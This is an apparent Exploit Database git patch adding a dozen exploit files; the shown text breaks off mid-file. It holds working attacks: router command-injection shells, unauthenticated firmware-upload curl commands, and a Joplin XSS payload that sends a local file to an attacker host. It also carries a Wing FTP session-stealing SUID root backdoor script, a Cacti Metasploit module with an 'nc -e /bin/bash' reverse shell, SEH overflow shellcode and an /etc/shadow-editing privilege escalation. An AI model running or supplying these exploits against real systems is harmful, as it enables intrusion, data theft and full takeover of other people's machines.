From afe5797b887bc2d6d221da963ad3dfeea3df1bea Mon Sep 17 00:00:00 2001 From: Offensive Security Date: Tue, 3 Mar 2020 05:01:48 +0000 Subject: [PATCH] DB: 2020-03-03 12 changes to exploits/shellcodes Cyberoam Authentication Client 2.1.2.7 - Buffer Overflow (SEH) Wing FTP Server 6.2.3 - Privilege Escalation Microsoft Exchange 2019 15.2.221.12 - Authenticated Remote Code Execution CA Unified Infrastructure Management Nimsoft 7.80 - Remote Buffer Overflow Joplin Desktop 1.0.184 - Cross-Site Scripting Netis WF2419 2.2.36123 - Remote Code Execution Wordpress Plugin Tutor LMS 1.5.3 - Cross-Site Request Forgery (Add User) TL-WR849N 0.9.1 4.16 - Authentication Bypass (Upload Firmware) Wing FTP Server 6.2.5 - Privilege Escalation TP LINK TL-WR849N - Remote Code Execution Intelbras Wireless N 150Mbps WRN240 - Authentication Bypass (Config Upload) Cacti v1.2.8 - Unauthenticated Remote Code Execution (Metasploit) --- exploits/hardware/webapps/48149.py | 65 +++ exploits/hardware/webapps/48152.txt | 20 + exploits/hardware/webapps/48155.py | 62 ++ exploits/hardware/webapps/48158.txt | 21 + exploits/multiple/webapps/48147.txt | 76 +++ exploits/multiple/webapps/48154.sh | 99 ++++ exploits/php/webapps/48151.txt | 55 ++ exploits/php/webapps/48159.rb | 82 +++ exploits/windows/local/48148.py | 71 +++ exploits/windows/local/48160.py | 346 +++++++++++ exploits/windows/remote/48153.py | 154 +++++ exploits/windows/remote/48156.c | 858 ++++++++++++++++++++++++++++ files_exploits.csv | 12 + 13 files changed, 1921 insertions(+) create mode 100755 exploits/hardware/webapps/48149.py create mode 100644 exploits/hardware/webapps/48152.txt create mode 100755 exploits/hardware/webapps/48155.py create mode 100644 exploits/hardware/webapps/48158.txt create mode 100644 exploits/multiple/webapps/48147.txt create mode 100755 exploits/multiple/webapps/48154.sh create mode 100644 exploits/php/webapps/48151.txt create mode 100755 exploits/php/webapps/48159.rb create mode 100755 exploits/windows/local/48148.py create mode 100755 exploits/windows/local/48160.py create mode 100755 exploits/windows/remote/48153.py create mode 100644 exploits/windows/remote/48156.c diff --git a/exploits/hardware/webapps/48149.py b/exploits/hardware/webapps/48149.py new file mode 100755 index 000000000..24f009c90 --- /dev/null +++ b/exploits/hardware/webapps/48149.py @@ -0,0 +1,65 @@ +# Exploit Title: Netis WF2419 2.2.36123 - Remote Code Execution +# Exploit Author: Elias Issa +# Vendor Homepage: http://www.netis-systems.com +# Software Link: http://www.netis-systems.com/Suppory/downloads/dd/1/img/75 +# Date: 2020-02-11 +# Version: WF2419 V2.2.36123 => V2.2.36123 +# Tested on: NETIS WF2419 V2.2.36123 and V2.2.36123 +# CVE : CVE-2019-19356 + + +# Proof of Concept: python netis_rce.py http://192.168.1.1 "ls" + +#!/usr/bin/env python +import argparse +import requests +import json + +def exploit(host,cmd): + # Send Payload + headers_value={'User-Agent': 'Mozilla/5.0 (X11; Linux i686; rv:52.0) Gecko/20100101 Firefox/52.0', + 'Content-Type': 'application/x-www-form-urlencoded'} + post_data="mode_name=netcore_set&tools_type=2&tools_ip_url=|+"+cmd+"&tools_cmd=1&net_tools_set=1&wlan_idx_num=0" + vulnerable_page = host + "/cgi-bin-igd/netcore_set.cgi" + req_payload = requests.post(vulnerable_page, data=post_data, headers=headers_value) + print('[+] Payload sent') + try : + json_data = json.loads(req_payload.text) + if json_data[0] == "SUCCESS": + print('[+] Exploit Sucess') + # Get Command Result + print('[+] Getting Command Output\n') + result_page = host + "/cgi-bin-igd/netcore_get.cgi" + post_data = "mode_name=netcore_get&no=no" + req_result = requests.post(result_page, data=post_data, headers=headers_value) + json_data = json.loads(req_result.text) + results = json_data["tools_results"] + print results.replace(';', '\n') + else: + print('[-] Exploit Failed') + except: + print("[!] You might need to login.") + +# To be implemented +def login(user, password): + print('To be implemented') + +def main(): + host = args.host + cmd = args.cmd + user = args.user + password = args.password + #login(user,password) + exploit(host,cmd) + +if __name__ == "__main__": + ap = argparse.ArgumentParser( + description="Netis WF2419 Remote Code Execution Exploit (CVE-2019-1337) [TODO]") + ap.add_argument("host", help="URL (Example: http://192.168.1.1).") + ap.add_argument("cmd", help="Command to run.") + ap.add_argument("-u", "--user", help="Admin username (Default: admin).", + default="admin") + ap.add_argument("-p", "--password", help="Admin password (Default: admin).", + default="admin") + args = ap.parse_args() + main() \ No newline at end of file diff --git a/exploits/hardware/webapps/48152.txt b/exploits/hardware/webapps/48152.txt new file mode 100644 index 000000000..f3b441e66 --- /dev/null +++ b/exploits/hardware/webapps/48152.txt @@ -0,0 +1,20 @@ +# Exploit Title: TL-WR849N 0.9.1 4.16 - Authentication Bypass (Upload Firmware) +# Date: 2019-11-20 +# Exploit Author: Elber Tavares +# Vendor Homepage: https://www.tp-link.com/ +# Software Link: https://www.tp-link.com/br/support/download/tl-wr849n/#Firmware +# Version: TL-WR849N 0.9.1 4.16 +# Tested on: linux, windows +# CVE : CVE-CVE-2019-19143 + +Uploading new firmware without access to the panel + +REFS: + https://github.com/ElberTavares/routers-exploit/tp-link + https://fireshellsecurity.team/hack-n-routers/ + + +Poc: +curl -i -X POST -H "Content-Type: multipart/form-data" -H "Referer: +http://TARGET/mainFrame.htm" -F data=@conf.bin +http://TARGET/cgi/confup \ No newline at end of file diff --git a/exploits/hardware/webapps/48155.py b/exploits/hardware/webapps/48155.py new file mode 100755 index 000000000..f08db623a --- /dev/null +++ b/exploits/hardware/webapps/48155.py @@ -0,0 +1,62 @@ +# Exploit Title: TP LINK TL-WR849N - Remote Code Execution +# Date: 2019-11-20 +# Exploit Author: Elber Tavares +# Vendor Homepage: https://www.tp-link.com/ +# Software Link: https://www.tp-link.com/br/support/download/tl-wr849n/#Firmware +# Version: TL-WR849N 0.9.1 4.16 +# Tested on: linux, windows +# CVE : CVE-2020-9374 + + +import requests + +def output(headers,cookies): + url = 'http://192.168.0.1/cgi?1' + data = '' + data += '[TRACEROUTE_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,3\x0d\x0a' + data += 'diagnosticsState\x0d\x0a' + data += 'X_TP_HopSeq\x0d\x0a' + data += 'X_TP_Result\x0d\x0a' + r = requests.post(url,data=data,headers=headers,cookies=cookies) + saida = r.text + filtro = saida.replace(': Name or service not known','') + filtro = filtro.replace('[0,0,0,0,0,0]0','') + filtro = filtro.replace('diagnosticsState=','') + filtro = filtro.replace('X_TP_HopSeq=0','') + filtro = filtro.replace('X_TP_Result=','') + print(filtro[:-8]) + +def aceppt(headers,cookies): + url = 'http://192.168.0.1/cgi?7' + data = '[ACT_OP_TRACERT#0,0,0,0,0,0#0,0,0,0,0,0]0,0\x0d\x0a' + r = requests.post(url,data=data,headers=headers,cookies=cookies) + output(headers,cookies) + + +def inject(command,headers,cookies): + url = 'http://192.168.0.1/cgi?2' + data = '' + data += '[TRACEROUTE_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,8\x0d\x0a' + data += 'maxHopCount=20\x0d\x0a' + data += 'timeout=5\x0d\x0a' + data += 'numberOfTries=1\x0d\x0a' + data += 'host=\"$('+command+')\"\x0d\x0a' + data += 'dataBlockSize=64\x0d\x0a' + data += 'X_TP_ConnName=ewan_pppoe\x0d\x0a' + data += 'diagnosticsState=Requested\x0d\x0a' + data += 'X_TP_HopSeq=0\x0d\x0a' + r = requests.post(url,data=data,headers=headers,cookies=cookies) + aceppt(headers,cookies) + + + +def main(): + cookies = {"Authorization": "Basic REPLACEBASE64AUTH"} + headers = {'Content-Type': 'text/plain', + 'Referer': 'http://192.168.0.1/mainFrame.htm'} + while True: + command = input('$ ') + inject(command,headers,cookies) + + +main() \ No newline at end of file diff --git a/exploits/hardware/webapps/48158.txt b/exploits/hardware/webapps/48158.txt new file mode 100644 index 000000000..72dce80e5 --- /dev/null +++ b/exploits/hardware/webapps/48158.txt @@ -0,0 +1,21 @@ +# Exploit Title: Intelbras Wireless N 150Mbps WRN240 - Authentication Bypass (Config Upload) +# Date: 2019-11-20 +# Exploit Author: Elber Tavares +# Vendor Homepage: https://www.intelbras.com/ +# Software Link: http://en.intelbras.com.br/node/1033 +# Version: Intelbras Wireless N 150Mbps - WRN240 +# Tested on: linux, windows +# CVE: CVE-2019-19142 + +Intelbras WRN240 devices do not require authentication to replace the +firmware via a POST request to the incoming/Firmware.cfg URI. + +REFS: + https://fireshellsecurity.team/hack-n-routers/ + https://github.com/ElberTavares/routers-exploit/ + + +Poc: +curl -i -X POST -H "Content-Type: multipart/form-data" -H "Referer: +http://192.168.0.1/userRpm/BakNRestoreRpm.htm" -F data=@config.bin +http://192.1680.1/incoming/RouterBakCfgUpload.cfg \ No newline at end of file diff --git a/exploits/multiple/webapps/48147.txt b/exploits/multiple/webapps/48147.txt new file mode 100644 index 000000000..6438c82bf --- /dev/null +++ b/exploits/multiple/webapps/48147.txt @@ -0,0 +1,76 @@ +# Exploit Title: Joplin Desktop 1.0.184 - Cross-Site Scripting +# Exploit Author: Javier Olmedo +# Date: 2020-02-27 +# Vendor: Laurent Cozic +# Software Link: https://github.com/laurent22/joplin/archive/v1.0.184.zip +# Affected Version: 1.0.184 and before +# Patched Version: 1.0.185 +# Category: Remote +# Platform: Windows +# Tested on: Windows 10 Pro +# CWE: https://cwe.mitre.org/data/definitions/79.html +# CVE: 2020-9038 +# References: +# https://github.com/JavierOlmedo/CVE-2020-9038 +# https://github.com/laurent22/joplin/commit/3db47b575b9cb0a765da3d283baa2c065df0d0bc + +# 1. Technical Description +# Joplin Desktop version 1.0.184 and before are affected by Cross-Site Scripting +# vulnerability through the malicious note. This allows a malicious user +# read arbitrary files of system. + +# 2. Proof Of Concept (PoC) +# 2.1 Start a webserver to receive the connection in evil machine (you can use a python server). + +python -m SimpleHTTPServer 8080 + +# 2.2 Upload exploit.js file to your web server (Change your IP, PORT and USER) + +function readTextFile(file){ + var rawFile = new XMLHttpRequest(); + rawFile.open("GET", file, false); + rawFile.onreadystatechange = function (){ + if(rawFile.readyState === 4){ + if(rawFile.status === 200 || rawFile.status == 0){ + allText = rawFile.responseText; + //alert(allText); + var img = document.createElement('img'); + img.src = "http://[IP:PORT]/" + allText; + document.body.appendChild(img) + } + } + } + rawFile.send(null); +} +readTextFile("file:///C:/Users/[USER]/Desktop/SECRET.TXT"); +//readTextFile("file:///C:/Windows/System32/drivers/etc/hosts"); + +# 2.3 Create a secret.txt file with any content in victim desktop. + +# 2.4 Create a New note in Joplin Desktop and copy next payload in note body content (change your base64). + +

corresponds to user sessions... world readable/writeable (possibly exploitable) +# $_WINGFTPDIR/wftpserver/session_admin/* --> corresponds to admin sessions... world readable/writeable. +# We can wait for an admin to log in, steal their session, then launch a curl command which executes LUA. +# https://www.hooperlabs.xyz/disclosures/cve-2020-9470.php (writeup) + + + +#!/bin/bash + +echo 'Local root privilege escalation for Wing FTP Server (v.6.2.5)' +echo 'Exploit by Cary Hooper (@nopantrootdance)' + +function writeBackdoor() { + #this function creates a backdoor program (executes bash) + echo " Writing backdoor in $1" + echo '#include ' > $1/foobarh00p.c + echo '#include ' >> $1/foobarh00p.c + echo '#include ' >> $1/foobarh00p.c + echo 'int main(void){setuid(0); setgid(0); system("/bin/bash");}' >> $1/foobarh00p.c + gcc -w $1/foobarh00p.c -o $1/foobarh00p +} + +function makeRequest() { + #Executes Lua command in admin panel to set the suid bit/chown on our backdoor + #Change owner to root + curl -i -k -b "UIDADMIN=$1" --data "command=io.popen('chown%20root%20$2%2Ffoobarh00p')" 'http://127.0.0.1:5466/admin_lua_script.html?r=0.08732964480139693' -H "Referer: http://127.0.0.1:5466/admin_lua_term.html" >/dev/null 2>/dev/null + #Make SUID + curl -i -k -b "UIDADMIN=$1" --data "command=io.popen('chmod%204777%20$2%2Ffoobarh00p')" 'http://127.0.0.1:5466/admin_lua_script.html?r=0.08732964480139693' -H "Referer: http://127.0.0.1:5466/admin_lua_term.html" >/dev/null 2>/dev/null +} + +directories=( "/tmp" "/var/tmp" "/dev/shm" ) +for dir in "${directories[@]}" +do + #Check if directories are writeable + if [ -w $dir ] + then + echo "[!] Writeable directory found: $dir" + export backdoordir=$dir + break + else + echo " $dir is not writeable..."; fi +done + +writeBackdoor $backdoordir + +#Look for directory where administrative sessions are handled ($_WINGFTPDIR/session_admin/). +echo " Finding the wftpserver directory" +export sessiondir=$(find / -name session_admin -type d 2>/dev/null | grep --color=never wftpserver) +if [ -z "$sessiondir" ]; then echo "Wing FTP directory not found. Consider looking manually."; exit 1; fi +#Note: if no directory is found, look manually for the "wftpserver" directory, or a "wftpserver" binary. Change the variable below and comment out the code above. +#export sessiondir="/opt/wftpserver/session_admin" + +#While loop to wait for an admin session to be established. +echo " Waiting for a Wing FTP admin to log in. This may take a while..." +count=0 +while : ; do + if [ "$(ls -A $sessiondir)" ]; then + #If a session file exists, the UID_ADMIN cookie is the name of the file. + echo "[!] An administrator logged in... stealing their session." + export cookie=$(ls -A $sessiondir | cut -d '.' -f1) + export ip=$(cat $sessiondir/$cookie.lua | grep ipaddress| cut -d '[' -f4 | cut -d ']' -f1) + echo " Changing IP restrictions on the cookie..." + cat $sessiondir/$cookie.lua | sed "s/$ip/127.0.0.1/g" > $backdoordir/$cookie.lua + cp $backdoordir/$cookie.lua $sessiondir/$cookie.lua + rm $backdoordir/$cookie.lua + echo "[!] Successfully stole session." + #Once found, make the malicious curl request + export urldir=$(sed "s/\//\%2F/g" <<<$backdoordir) + echo " Making evil request as Wing FTP admin... (backdoor in ${backdoordir})" + makeRequest $cookie $urldir + break + else + #Checks every 10 seconds. Outputs date to terminal for user feedback purposes only. + sleep 10 + let "count+=1" + if [ $count -eq 10 ]; then date; fi + echo "..." + fi +done + +#Check if backdoor was created correctly +if [ $(stat -c "%a" $backdoordir/foobarh00p) != "4777" ]; then echo " Something went wrong. Backdoor is not SUID"; exit 1; fi +if [ $(stat -c "%U" $backdoordir/foobarh00p) != "root" ]; then echo " Something went wrong. Backdoor is not owned by root"; exit 1; fi + +echo " Backdoor is now SUID owned by root." +echo "[!] Executing backdoor. Cross your fingers..." +#Execute the backdoor... root! +$backdoordir/foobarh00p \ No newline at end of file diff --git a/exploits/php/webapps/48151.txt b/exploits/php/webapps/48151.txt new file mode 100644 index 000000000..091e7db36 --- /dev/null +++ b/exploits/php/webapps/48151.txt @@ -0,0 +1,55 @@ +# Exploit Title: Wordpress Plugin Tutor LMS 1.5.3 - Cross-Site Request Forgery (Add User) +# Date: 2020-01-30 +# Vendor Homepage: https://www.themeum.com/product/tutor-lms/ +# Vendor Changelog: https://wordpress.org/plugins/tutor/#developers +# Exploit Author: Jinson Varghese Behanan +# Author Advisory: https://www.getastra.com/blog/911/plugin-exploit/cross-site-request-forgery-in-tutor-lms-plugin/ +# Author Homepage: https://www.jinsonvarghese.com +# Version: 1.5.2 and below +# CVE : CVE-2020-8615 + +# 1. Description + +# The Tutor LMS WordPress plugin is a feature-packed plugin that enables users to create and sell courses. +# An attacker can use CSRF to register themselves as an instructor or block other legit instructors. +# Consequently, if the option to create courses without admin approval is enabled on the plugin’s settings +# page, the attacker will be able to create courses directly as well. All WordPress websites +# using Tutor LMS version 1.5.2 and below are affected. + +# 2. Proof of Concept + +# As the requests for the approval and blocking of instructors are sent using the GET method, the CSRF +# attack to approve an attacker-controlled instructor account can be performed by having the admin +# visit https://TARGET/wp-admin/admin.php?page=tutor-instructors&action=approve&instructor=8 directly, +# after retrieving the instructor ID during the registration process. An approved instructor can also be blocked +# by directing the admin to visit https://TARGET/wp-admin/admin.php?page=tutor-instructors&action=blocked&instructor=7. + +# CSRF attack can also be performed on the form present at https://TARGET/wp-admin/admin.php?page=tutor-instructors&sub_page=add_new_instructor +# in order to have the admin add an instructor account for the attacker, thus bypassing the requirement for approval. +# This can be done by tricking the admin to submit the below-given web form as a POST request. For example, if the web form is +# hosted on an attacker-controlled domain https://attacker.com/csrf.html, an admin who is logged in at https://TARGET can +# be tricked into visiting the link and triggering the request to add an instructor. + + + + +

+ + + + + + + + + + + +
+ + + +3. Timeline + +Vulnerability reported to the Tutor LMS team – January 30, 2020. +Tutor LMS version 1.5.3 containing the fix released – February 4, 2020. \ No newline at end of file diff --git a/exploits/php/webapps/48159.rb b/exploits/php/webapps/48159.rb new file mode 100755 index 000000000..dc70e5b43 --- /dev/null +++ b/exploits/php/webapps/48159.rb @@ -0,0 +1,82 @@ +# Exploit Title: Cacti v1.2.8 - Unauthenticated Remote Code Execution (Metasploit) +# Date: 2020-02-29 +# Exploit Author: Lucas Amorim (sh286)s +# CVE: CVE-2020-8813 +# Vendor Homepage: https://cacti.net/ +# Version: v1.2.8 +# Tested on: Linux +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Cacti v1.2.8 Unauthenticated Remote Code Execution', + 'Description' => %q{graph_realtime.php in Cacti 1.2.8 allows remote attackers to + execute arbitrary OS commands via shell metacharacters in a cookie, if a guest user has + the graph real-time privilege.}, + 'Author' => + [ + 'Lucas Amorim ' # MSF module + ], + 'License' => MSF_LICENSE, + 'Platform' => 'php', + 'References' => + [ + ['CVE', '2020-8813'] + ], + 'DisclosureDate' => 'Feb 21 2020', + 'Privileged' => true, + 'DefaultOptions' => { + 'PAYLOAD' => 'php/meterpreter/reverse_tcp', + 'SSL' => true, + }, + 'Targets' => [ + ['Automatic', {}] + ], + 'DefaultTarget' => 0)) + + register_options( + [ + Opt::RPORT(443), + OptString.new('RPATH', [ false, "path to cacti", "" ]) + ]) + + deregister_options('VHOST') + end + + def check + res = send_request_raw( + 'method' => 'GET', + 'uri' => "#{datastore['RPATH']}/graph_realtime.php?action=init" + ) + + if res && res.code == 200 + return Exploit::CheckCode::Vulnerable + else + return Exploit::CheckCode::Safe + end + end + + def send_payload() + exec_payload=(";nc${IFS}-e${IFS}/bin/bash${IFS}%s${IFS}%s" % [datastore['LHOST'], datastore['LPORT']]) + send_request_raw( + 'uri' => "#{datastore['RPATH']}/graph_realtime.php?action=init", + 'method' => 'GET', + 'cookie' => "Cacti=#{Rex::Text.uri_encode(exec_payload, mode = 'hex-normal')}" + ) + end + + def exploit + if check == Exploit::CheckCode::Vulnerable + print_good("Target seems to be a vulnerable") + send_payload() + else + print_error("Target does not seem to be vulnerable. Will exit now...") + end + end +end \ No newline at end of file diff --git a/exploits/windows/local/48148.py b/exploits/windows/local/48148.py new file mode 100755 index 000000000..88c1ab4f0 --- /dev/null +++ b/exploits/windows/local/48148.py @@ -0,0 +1,71 @@ +# Exploit Title: Cyberoam Authentication Client 2.1.2.7 - Buffer Overflow (SEH) +# Date: 2020-02-28 +# Exploit Author: Andrey Stoykov +# Version: Cyberoam General Authentication Client 2.1.2.7 +# Tested on: Windows Vista SP2 x86 + +Steps to Reproduce: + +1) Run the POC +2) Copy the contents of "sploit.txt" into the "Cyberoam Server Address" and click "Check" +3) Bind TCP shell should spawn on port 1337 + +# Badchars to be avoided: "\x0a\x00\x0d\x01\x02\x03\x04" +# msfvenom -p windows/shell_bind_tcp -f c -b "\x0a\x00\x0d\x01\x02\x03\x04" lport=1337 -e x86/alpha_mixed + +Exploit POC: + +shellcode = ("\x89\xe6\xdd\xc5\xd9\x76\xf4\x5d\x55\x59\x49\x49\x49\x49\x49" +"\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a" +"\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32" +"\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49" +"\x49\x6c\x6a\x48\x4e\x62\x77\x70\x43\x30\x67\x70\x43\x50\x6f" +"\x79\x6d\x35\x66\x51\x6f\x30\x71\x74\x6e\x6b\x42\x70\x66\x50" +"\x6e\x6b\x30\x52\x34\x4c\x6e\x6b\x76\x32\x32\x34\x4e\x6b\x30" +"\x72\x64\x68\x46\x6f\x6d\x67\x43\x7a\x54\x66\x70\x31\x39\x6f" +"\x4e\x4c\x77\x4c\x71\x71\x33\x4c\x46\x62\x66\x4c\x37\x50\x4b" +"\x71\x38\x4f\x54\x4d\x46\x61\x49\x57\x49\x72\x79\x62\x72\x72" +"\x71\x47\x6c\x4b\x43\x62\x74\x50\x4e\x6b\x70\x4a\x55\x6c\x6c" +"\x4b\x50\x4c\x77\x61\x73\x48\x4a\x43\x43\x78\x35\x51\x6a\x71" +"\x43\x61\x6c\x4b\x30\x59\x77\x50\x35\x51\x4e\x33\x6e\x6b\x33" +"\x79\x67\x68\x69\x73\x64\x7a\x77\x39\x6c\x4b\x75\x64\x4e\x6b" +"\x75\x51\x4a\x76\x66\x51\x59\x6f\x4e\x4c\x5a\x61\x58\x4f\x66" +"\x6d\x47\x71\x4a\x67\x45\x68\x49\x70\x73\x45\x59\x66\x47\x73" +"\x71\x6d\x68\x78\x67\x4b\x61\x6d\x76\x44\x62\x55\x78\x64\x70" +"\x58\x4e\x6b\x72\x78\x34\x64\x53\x31\x4e\x33\x52\x46\x6c\x4b" +"\x66\x6c\x52\x6b\x4c\x4b\x76\x38\x67\x6c\x73\x31\x5a\x73\x4c" +"\x4b\x34\x44\x6e\x6b\x57\x71\x6a\x70\x4e\x69\x33\x74\x36\x44" +"\x56\x44\x33\x6b\x71\x4b\x70\x61\x31\x49\x50\x5a\x46\x31\x69" +"\x6f\x79\x70\x53\x6f\x63\x6f\x30\x5a\x6e\x6b\x64\x52\x5a\x4b" +"\x4c\x4d\x61\x4d\x35\x38\x55\x63\x75\x62\x37\x70\x77\x70\x53" +"\x58\x62\x57\x71\x63\x76\x52\x43\x6f\x71\x44\x55\x38\x30\x4c" +"\x72\x57\x31\x36\x64\x47\x39\x6f\x69\x45\x4e\x58\x5a\x30\x75" +"\x51\x33\x30\x47\x70\x46\x49\x4b\x74\x42\x74\x32\x70\x30\x68" +"\x36\x49\x6d\x50\x50\x6b\x57\x70\x4b\x4f\x69\x45\x31\x7a\x53" +"\x38\x70\x59\x72\x70\x4a\x42\x39\x6d\x73\x70\x70\x50\x43\x70" +"\x66\x30\x42\x48\x6b\x5a\x36\x6f\x49\x4f\x4b\x50\x49\x6f\x79" +"\x45\x4c\x57\x42\x48\x75\x52\x45\x50\x35\x55\x35\x69\x4e\x69" +"\x4a\x46\x51\x7a\x52\x30\x62\x76\x36\x37\x50\x68\x4b\x72\x59" +"\x4b\x55\x67\x55\x37\x79\x6f\x4a\x75\x70\x57\x71\x78\x68\x37" +"\x79\x79\x67\x48\x79\x6f\x6b\x4f\x4e\x35\x33\x67\x43\x58\x63" +"\x44\x6a\x4c\x75\x6b\x4b\x51\x39\x6f\x49\x45\x32\x77\x6d\x47" +"\x52\x48\x70\x75\x70\x6e\x30\x4d\x53\x51\x79\x6f\x6b\x65\x31" +"\x78\x63\x53\x50\x6d\x42\x44\x67\x70\x6f\x79\x49\x73\x73\x67" +"\x72\x77\x62\x77\x64\x71\x4a\x56\x32\x4a\x54\x52\x46\x39\x33" +"\x66\x4a\x42\x79\x6d\x32\x46\x7a\x67\x50\x44\x71\x34\x75\x6c" +"\x67\x71\x56\x61\x6e\x6d\x33\x74\x51\x34\x52\x30\x38\x46\x53" +"\x30\x67\x34\x43\x64\x30\x50\x46\x36\x32\x76\x42\x76\x77\x36" +"\x53\x66\x72\x6e\x42\x76\x50\x56\x43\x63\x36\x36\x71\x78\x53" +"\x49\x68\x4c\x77\x4f\x6c\x46\x79\x6f\x49\x45\x6d\x59\x4d\x30" +"\x50\x4e\x70\x56\x63\x76\x79\x6f\x46\x50\x71\x78\x66\x68\x6d" +"\x57\x75\x4d\x55\x30\x69\x6f\x79\x45\x4f\x4b\x58\x70\x58\x35" +"\x4f\x52\x71\x46\x52\x48\x6c\x66\x6d\x45\x4d\x6d\x6f\x6d\x6b" +"\x4f\x69\x45\x75\x6c\x74\x46\x63\x4c\x47\x7a\x6b\x30\x59\x6b" +"\x39\x70\x31\x65\x77\x75\x6f\x4b\x72\x67\x62\x33\x50\x72\x30" +"\x6f\x42\x4a\x77\x70\x72\x73\x79\x6f\x59\x45\x41\x41") + +buffer = "A"*216 + "\xeb\x10\x90\x90"+ "\x97\x44\x9c\x0f" + "\x90"*500 + shellcode +buffer += "B"*(16688-216-8-500) +f = open('sploit.txt', 'w') +f.write(buffer) +f.close() \ No newline at end of file diff --git a/exploits/windows/local/48160.py b/exploits/windows/local/48160.py new file mode 100755 index 000000000..1090c0e46 --- /dev/null +++ b/exploits/windows/local/48160.py @@ -0,0 +1,346 @@ +# Exploit Title: Wing FTP Server 6.2.3 - Privilege Escalation +# Google Dork: intitle:"Wing FTP Server - Web" +# Date: 2020-03-02 +# Exploit Author: Cary Hooper +# Vendor Homepage: https://www.wftpserver.com +# Software Link: https://www.wftpserver.com/download/wftpserver-linux-64bit.tar.gz +# Version: v6.2.3 +# Tested on: Ubuntu 18.04, Kali Linux 4, MacOS Catalina, Solaris 11.4 (x86) + + +# Given SSH access to a target machine with Wing FTP Server installed, this program: +# - SSH in, forges a FTP user account with full permissions (CVE-2020-8635) +# - Logs in to HTTP interface and then edits /etc/shadow (resulting in CVE-2020-8634) +# Each step can all be done manually with any kind of code execution on target (no SSH) +# To setup, start SSH service, then run ./wftpserver. Wing FTP services will start after a domain is created. +# https://www.hooperlabs.xyz/disclosures/cve-2020-8635.php (writeup) + + +#!/usr/bin/python3 + +#python3 cve-2020-8635.py -t 192.168.0.2:2222 -u lowleveluser -p demo --proxy http://127.0.0.1:8080 + +import paramiko,sys,warnings,requests,re,time,argparse +#Python warnings are the worst +warnings.filterwarnings("ignore") + +#Argument handling begins +parser = argparse.ArgumentParser(description="Exploit for Wing FTP Server v6.2.3 Local Privilege Escalation",epilog=print(f"Exploit by @nopantrootdance.")) +parser.add_argument("-t", "--target", help="hostname of target, optionally with port specified (hostname:port)",required=True) +parser.add_argument("-u", "--username", help="SSH username", required=True) +parser.add_argument("-p", "--password", help="SSH password", required=True) +parser.add_argument("-v", "--verbose", help="Turn on debug information", action='store_true') +parser.add_argument("--proxy", help="Send HTTP through a proxy",default=False) +args = parser.parse_args() + +#Global Variables +global username +global password +global proxies +global port +global hostname +global DEBUG +username = args.username +password = args.password + +#Turn on debug statements +if args.verbose: + DEBUG = True +else: + DEBUG = False + +#Handle nonstandard SSH port +if ':' in args.target: + socket = args.target.split(':') + hostname = socket[0] + port = socket[1] +else: + hostname = args.target + port = "22" + +#Prepare proxy dict (for Python requests) +if args.proxy: + if ("http://" not in args.proxy) and ("https://" not in args.proxy): + print(f"[!] Invalid proxy. Proxy must have http:// or https:// {proxy}") + sys.exit(1) + proxies = {'http':args.proxy,'https':args.proxy} +else: + proxies = {} +#Argument handling ends + +#This is what a .xml file looks like. +#Gives full permission to user (h00p:h00p) for entire filesystem '/'. +#Located in $_WFTPROOT/Data/Users/ +evilUserXML = """ + + + h00p + 1 + 1 + d28f47c0483d392ca2713fe7e6f54089 + 63 + 0 + 2020-02-25 18:27:07 + 0 + 0 + 0 + 0 + 5 + 5 + 0 + 0 + 0 + 0 + 0 + 0 + 0 + + 0 + 1 + 1 + 0 + 1 + 1 + 0 + 0 + 0 + 0 + 0 + + + + + + + + 0 + 0 + 0 + 0 + 0 + 0 + 0 + 1580092048 + 0 + 0 + 0 + 0 + 0 + 0 + 0 + + 2020-01-26 18:27:28 + 0 + + / + / + 1 + 1 + 1 + 1 + 1 + 1 + 1 + 1 + 1 + 1 + 1 + 1 + + + +""" + +#Verbosity function. +def log(string): + if DEBUG != False: + print(string) + +#Checks to see which URL is hosting Wing FTP +#Returns a URL, probably. HTTPS preferred. empty url is checked in main() +def checkHTTP(hostname): + protocols= ["http://","https://"] + for protocol in protocols: + try: + log(f"Testing HTTP service {protocol}{hostname}") + response = requests.get(protocol + hostname, verify=False, proxies=proxies) + try: + #Server: Wing FTP Server + if "Wing FTP Server" in response.headers['Server']: + print(f"[!] Wing FTP Server found at {protocol}{hostname}") + url = protocol + hostname + except: + print("") + except Exception as e: + print(f"[*] Server is not running Wing FTP web services on {protocol}: {e}") + return url + +#Log in to the HTTP interface. Returns cookie +def getCookie(url,webuser,webpass,headers): + log("getCookie") + loginURL = f"{url}/loginok.html" + data = {"username": webuser, "password": webpass, "username_val": webuser, "remember": "true", "password_val": webpass, "submit_btn": " Login "} + response = requests.post(loginURL, headers=headers, data=data, verify=False, proxies=proxies) + ftpCookie = response.headers['Set-Cookie'].split(';')[0] + print(f"[!] Successfully logged in! Cookie is {ftpCookie}") + cookies = {"UID":ftpCookie.split('=')[1]} + log("return getCookie") + return cookies + +#Change directory within the web interface. +#The actual POST request changes state. We keep track of that state in the returned directorymem array. +def chDir(url,directory,headers,cookies,directorymem): + log("chDir") + data = {"dir": directory} + print(f"[*] Changing directory to {directory}") + chdirURL = f"{url}/chdir.html" + requests.post(chdirURL, headers=headers, cookies=cookies, data=data, verify=False, proxies=proxies) + log(f"Directorymem is nonempty. --> {directorymem}") + log("return chDir") + directorymem = directorymem + "|" + directory + return directorymem + +#The application has a silly way of keeping track of paths. +#This function returns the current path as dirstring. +def prepareStupidDirectoryString(directorymem,delimiter): + log("prepareStupidDirectoryString") + dirstring = "" + directoryarray = directorymem.split('|') + log(f"directoryarray is {directoryarray}") + for item in directoryarray: + if item != "": + dirstring += delimiter + item + log("return prepareStupidDirectoryString") + return dirstring + +#Downloads a given file from the server. By default, it runs as root. +#Returns the content of the file as a string. +def downloadFile(file,url,headers,cookies,directorymem): + log("downloadFile") + print(f"[*] Downloading the {file} file...") + dirstring = prepareStupidDirectoryString(directorymem,"$2f") #Why wouldn't you URL-encode?! + log(f"directorymem is {directorymem} and dirstring is {dirstring}") + editURL = 